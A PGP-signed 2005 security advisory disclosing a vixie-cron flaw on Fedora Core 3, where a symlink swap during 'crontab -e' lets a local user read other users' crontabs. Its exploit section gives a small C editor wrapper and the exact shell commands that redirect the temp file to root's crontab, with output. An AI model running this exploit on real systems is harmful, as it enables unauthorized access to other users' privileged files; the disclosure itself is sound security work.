-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Name:      vixie-cron
Author:     Karol Wiêsek <appelast@drumnbass.art.pl>
Date:      Mar 21, 2005

Issue:

crontab allows any user to read another users crontabs

Description:

Crontab is used to create special files used by cron to execute commands
at specified dates and times.

Details:

Insufficient checks allows user to change during edition regular file to
symbolic link to any file. While copying crontab uses root permisions,
but also checks entrys, so attacker is only able to read properly
formated crontab files (another users crontabs).

Exploit:

[appelast@hoga ~]$ crontab -l
[appelast@hoga ~]$ cat c.c
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

int main(int ac, char *av[])
        {
        int pid;

        if (ac>1)
                printf("%s\n", av[1]);
        pid = fork();
        if (pid)
                execl("/bin/bash","bash",0);
        if (pid>0)
                wait((void*)0);
        return 0;
}
[appelast@hoga ~]$ export EDITOR=/home/appelast/c
[appelast@hoga ~]$ crontab -e
/tmp/crontab.XXXX63oldL
[appelast@hoga tmp]$ unlink /tmp/crontab.XXXX63oldL
[appelast@hoga tmp]$ ln -s /var/spool/cron/root /tmp/crontab.XXXX63oldL
[appelast@hoga tmp]$ exit
crontab: installing new crontab
[appelast@hoga ~]$ crontab -l
* * * * * /bin/true
[appelast@hoga ~]$


Vulnerability was tested on Fedora Core 3 with vixie-cron-4.1-24_FC3
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFCU7NQFTSet8AbQUQRAuAuAJ9CdR/LD5nO8778E71GpT2ZyTDHCQCgh1+I
mvIisw6+p8XQd/ReiRwKyfo=
=KQq/
-----END PGP SIGNATURE-----